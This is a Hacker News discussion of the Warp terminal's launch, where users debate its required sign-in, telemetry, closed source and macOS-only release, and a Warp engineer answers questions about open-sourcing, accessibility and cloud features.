It purely my opinion (probably a biased one), I feel there is something off about sentiments in general in hacker news lately. Here [1] some of the big VC and angels are praising this tool whereas sentiments in this thread is sounds very negative. It might just be me. I know everyone points to dropbox thread where it does not mean that product will be a failure. In general, I feel there is some sort of disconnect between this community and VC, investments, angels community.

[1] https://twitter.com/anshublog/status/1511553856487845892?s=2...


Feels strange that I have to sign-in to a terminal


I realize how much effort is going into a project like this and I do hope you find a way to monetize on it, but until it's open sourced and auditable, I personally could never see me using it. The risk is simply too high.


> Otherwise, sign up here to be notified when Warp is ready for your platform.

Uh... Sign up where?


Here i guess?

sign me up


I believe that they can turn this around with more transparency going forward. I also see value in how it can help a tech company, being able to onboard people into specific workflows (dev,ops..etc) using a combination of docs and team capabilities.

I'm sure some people wouldn't like what I'm about to propose as it again "phones home" but I encourage the team to take a look at GPT models for converting text to commands, I have a simple fine-tuned model that does wonders when I'm in the terminal.

As for me at home, all I need are those sweet blocks with text-editing mode in any open source terminal.


I was interested until I learned that the application is blazingly fast :/


It is quite fast tbh and non-sluggish terminal is nice-to-have.

I've tried one terminal rendering benchmark I had at hand [1] and on my MacBook Pro it was 17x faster than iterm and 3x faster than wezterm which is my daily driver.

[1] https://github.com/wez/wezterm/issues/192


This product gives me the same sketchy vibes as Mighty[1]. There's absolutely no way I'm going to give up one of my most sacred tools to a funded company whose going to expose my every click.

[1] mightyapp.com


It looks great. If I can live with sublimetext being closed source I’m sure I can live with my terminal also being closed source.

Heck the windows terminal and macOS terminal are closed source and I use them everyday.


Microsoft open sourced their terminal components a little while ago https://github.com/microsoft/terminal The team at Microsoft managing this are super responsive on Twitter https://twitter.com/DHowett https://twitter.com/cinnamon_msft


fyi Windows Terminal is open-source and has 82k github stars

https://github.com/microsoft/terminal


I stand corrected. In my defence I was using it happily thinking it was as closed source as notepad!


Warp engineer here - Thanks for your response!

It's too early right now, but we are definitely going to open source parts and potentially all of the code.


> We are planning to first open-source our Rust UI framework, and then parts and potentially all of our client.

That's pretty cool. I'll be interested in trying it once all of the source is available. A proprietary terminal program that connects to googleapis.com, sentry.io, segment.io, etc. is a *total* non-starter for me.

Good luck with the beta! I'm really interested to see a release I'll be able to try.

(FWIW, I think the model, in macro, sounds like something I'm glad to support. It reminds me of Bitwarden, for which I happily pay every year.)


It's interesting, but after getting burned by Hyper some years back. I am sticking with iTerm + zsh. I just need a terminal that is simple and doesn't phone home or gather telemetry.


Is your plan to open-source this or open-source its core in the future?


It's a good question, one that we are discussing a bunch.

We are planning to first open-source our Rust UI framework, and then parts and potentially all of our client codebase. The server portion of Warp will remain closed-source for now.

You can see how we’re thinking about open source here: https://github.com/warpdotdev/Warp/discussions/400 TLDR;

As a side note, we are open sourcing our extension points as we go. The community has already been contributing new themes [https://github.com/warpdotdev/themes]. And we’ve just opened a repository for the community to contribute common useful commands. [https://github.com/warpdotdev/workflows]


I wish you the best, this does look really cool. The collaboration aspects especially are pretty great; with remote work becoming the norm, terminal sharing without having to go through grainy zoom video shares is going to be amazing. And the workflows look super useful as well.

Just my thoughts on this: I wouldn't consider using it personally, but would advocate for using it in companies where e.g. there are engineers that work closely with support, teaching them how to debug etc. If it was OSS, I do think it would increase adoption by a lot.


Is your framework well-integrated with accessibility tools on Mac OS? If so, will you continue to integrate with those tools on other platforms?


We are actively working on a11y! It's still a work-in-progress, but the goal is to a) make Warp the most accessible terminal there is and b) make a11y be an integrated part of the UI framework, so creating accessible apps in rust would be a no-brainer for future users of our framework.

And yes - once we go cross-platform, we will work on the a11y support there too.


> We are actively working on a11y!

Glad to hear it! I'm working on a Rust GUI accessibility library that might interest you:

https://github.com/AccessKit/accesskit

If you'd like to email me so we can compare implementation approaches and perhaps avoid duplicated effort, my email address is in my HN profile.


thanks - will follow up once the dust settles!


That's really lovely to hear, and to be honest, makes me more hopeful about the direction of the project in general.


cieplik did a great job implementing support for VoiceOver and having a few blind engineers beta test the app


Can you tell us more about your GUI framework? E.g. what sort of paradigm are you using?


The UI controls is something I like to see. And possible support for mobile?


Why does it need a server? Is that normal for a terminal?


This is for cloud-enabled features not presently in other terminals.

Right now, we have two relevant features: 1. The ability to share a "block" of input/output to a permalink that anyone can view. 2. A.I. command search.

Later on, for an individual, it may mean being able to sync settings across devices, fast setup of your terminal on new computers, and being able to access the command line on any device via the web.

For teams, it means we can build collaborative features. This does not mean just Google Docs-style real-time collaboration, but asynchronous collaboration through sharing commands, settings, and history. It means increased knowledge-sharing through wikis and READMEs that run directly in the terminal. It means making the terminal safer and more secure via integrated password-management and audit logging. It means making the terminal a more extensible and customizable platform, with a nice modern ecosystem.

The app works offline, just the two features I mentioned won't work.


Just gave it a spin. Pretty cool, but I upvoted this issue: https://github.com/warpdotdev/Warp/issues/755

Not going to be usable for me unless that's fixed, or at least made into a setting. Certain directory structures are built deep into my muscle-memory now, and I feel crippled when the auto-complete does something different than what I'm used to.


Thanks for flagging that! There's a long-tail of completion improvements in Warp that we'd like to fix in the coming weeks/months. We'll make sure this gets fixed!


I will put a reminder for myself to come back and test this in about 6 months. I hope by then I can pick and replace iterm2, for long I have been looking for a replacement.


Smooth scrolling with the Mac trackpad (especially at 120hz+) is something I've wanted for a long time, feels really good. Too bad about all the usage tracking...


I'm assuming the dig at 1978 is a reference to vim or emacs? Can you maybe rework your copy to not shit on the main tools your target market uses and loves?


1. Get excided, download 2. Open 3. See the mandatory login dialog... in a terminal! 4. Close, delete.

A terminal. With login. And telemetry. A terminal with telemetry.


A modern terminal == Login to use? Was super excited, followed by instant disappointment. I hope they can remove this asap -- a severe misstep imo.


Screenshots looked great, however I stopped as soon as it asked me to sign up. I happily returned to my existing terminal that does not have any strings attached. You are seriously going to have to have a paradigm changing product to make money and build a business on such a basic system utility where there are plenty of good options. The implementation language is not a selling point.


Having to sign on/sign up with Github and agreeing to send usage data and other telemetry is just a nonstarter for me, as I imagine it is for many other developers. I do basically everything in my terminal, there's just no way I can agree to beaming any of that back up to some server and essentially trusting there's no fuckery going on.

Looks like a cute terminal though.


Closed source, sends my personal data out on the network, exists in a space with tons of great options already like Alacritty, Kitty, Foot, (I mean if you’re on a Mac Terminal.app is actually nice albeit closed source). No reason for me to give you my data (which includes stuff I do for work) for whatever conveniences you’re shilling.

That’s a nope from me Dog.


You want to collect usage data from my terminal? I'ma nope right outta there.

And I don't want to tie my github to this thing, i have all sorts of github accounts for legitimate reasons.

I would be glad pay a lifetime licence fee (maybe with a 30 day money back guarantee?) to check it out, but no way am i going to do a subscription model for my terminal.


I got into early access and I really wanted to switch but there was a few major things blocking me:

1. this desparately needs multiple profiles where I can customize the command that is launched (ie. with iTerm2 I have keyboard shortcuts mapped to a profile which launches SSH instance to our various aws environments)

2. powerlevel10k doesn't work (dealbreaker)


Hello. Author of Next Generation Shell here. Good to see the attempt to fix the shitty user experience that is decades old.

More NGS perspective on the UI - https://github.com/ngs-lang/ngs/wiki/UI-Design


Did I dream things up, or has the project never been clear about the fact it is macOS only when it was in closed beta? I have received countless e-mails from them (because signing up to the newsletter was required to be registered to the waiting list), but I would never have signed up if I had known it is macOS-only.


Ah, I can’t delete or edit my comment. But it seems Windows and Linux versions are in the works.


"All data encrypted at rest".

why does my terminal have any data besides a config file, and why does it need access to the internet at all?

next!


If you're looking for a good, ye olde terminal that is modern and fast, check out Wezterm. It's wonderful.


Early user (in the Discord). Been waiting for this one for a while. Excited to see it launch! Congrats, team.


this seems like brilliant tech that will unfortunately not succeed due to the business model. Cost/billing, forced outgoing requests, forced signup, and most of all, additional security risks. I'm not using a terminal with all my SSH keys if it is calling out to the internet.


Like others here I'm probably not your target user being too wedded to the many features of bash/zsh/tmux and the speed of my existing terminal emulator. But it's great to see new ideas and thought put in the space. Congrats on the launch!


For more discussions and insights -> https://twitter.com/zachlloydtweets/status/15113778758150840...


Appealing presentation but quite a bit turn-off with the on-boarding experience (the permissions for the outgoing requests and Github). On the side note, I'm unable to sign-in with Github, which I also don't understand why it's needed.


Have you seen https://acko.net/blog/on-termkit/ from 2011 ? Comments from around this time on various site may give you insight.


For completions, I would recommend becoming compatible with https://fig.io/ ; perhaps investigating a partnership or even merger with them.


There definitely seems to be overlap here. I'm finding it hard to believe that VCs have backed both these vary similar ideas that seemingly a large portion of their target audience finds objectionable. The HN discussions around Fig have also had a similar negative tone.


Check out https://github.com/nushell/nushell if you want an open, non-telemetry based shell that you can hack


This is certainly interesting, but I am struggling to sign up.

I clicked "Sign up with GitHub", it took me to the website where I authorized it. It was seemingly working until I saw this:

"Oops! We were unable to log you in."


Mind popping out to our Discord: https://discord.com/invite/warpdotdev? We can sort it out there more easily


It certainly looks interesting. I sincerely hope the plan is for eventual cross platform functionality if it's aimed and development teams. So many more devs seem to be using native linux these days.


I bit the bullet, gave them my social security number and my mother's maiden name, and tried it. Eh. Not too impressed at this stage, and nothing worth switching from my current (Kitty) setup.


Installed it and saw "Sign In" and deleted it immediately.


Cool but thanks. There are already way nicer terminals which do not try to extract money from me: Wezterm, Konsole, Alacrity, Yakuake and maybe Windows Terminal.


The "no more walls of text" thing is huge! Thank you! (I don't care about it phoning home to report I opened a new tab while it's in beta.)


Thanks for your response. Let us know how it goes with the app!


Some features remind me of upterm.

https://github.com/railsware/upterm


I’ve been using this in private Beta as a daily driver for about 6 months.

The team has been responsive, constantly improving, and bringing real innovation to the space.

Highly recommend!


Another one riding the "Rust-based" horse.


what if you work in a company where they use this and you don’t want to share literally everything you type into your terminal?


hey Warp guys i love everything about it, already created my own theme with using simple-ever theme file with yaml. If you implement good powerfonts rendering like iTerm i'll be a forever user.

check the difference: https://imgur.com/a/GUTVaeF


It's nice, but a lot of what it does could be exposed to other terminals as well without being so tied to Alacritty.


Tab naming is working out of the box with 033]0;TITLE\\007, but I couldn't find a way to re-arrange opened tabs...


most devs just use the terminal in VSCode these days anyways.

Are there _really_ enough terminal users and companies willing to shell out $$$ to make more than 1 million gross per year?

This kind of reminds me of that prettification of the node repl fad a few years ago, but when they switched to pay only people were like "hard naw"


I did this for a while, but it's just more convenient to separate concerns and have long running sessions separate from IDE's restarts and crashes. As for the Warp's business plan - can't imagine there being many teams that would want this kind of complexity handled by terminal app and not CI pipeline.


“ Writing code in your terminal shouldn’t feel like 1978. Edit your commands like in a modern code editor with selections, cursor positioning, and completion menus.”

That sounds a bit ageist :) also - can command editing integrate with my editor of choice? I don’t want to have to learn how to use another editor - I already know my way around bash keyboard shortcuts, having to learn a third thing sounds like a step backwards.


interesting how a terminal nowadays needs a whole company with career options and venture funds backing, unless you're trying to make a bloated product out of it ofc

don't get me wrong, it looks great as it is right now, but i'm very sceptical about it's future


Proprietary closed-sourced crapware.


Can you share a bit on pricing strategy and what parts of it will be free vs paid?


Another Mac-only terminal? ok!


Closed source terminal? Pass.


A terminal that makes you sign in? I think I'll stay away from this one.


I’ll stick with kitty for Max OS X. Still way faster and no privacy concerns.


Are you using an IMGUI library or some Electron-like solution for the GUI?


I recall when you could use a terminal and not once type 'git.'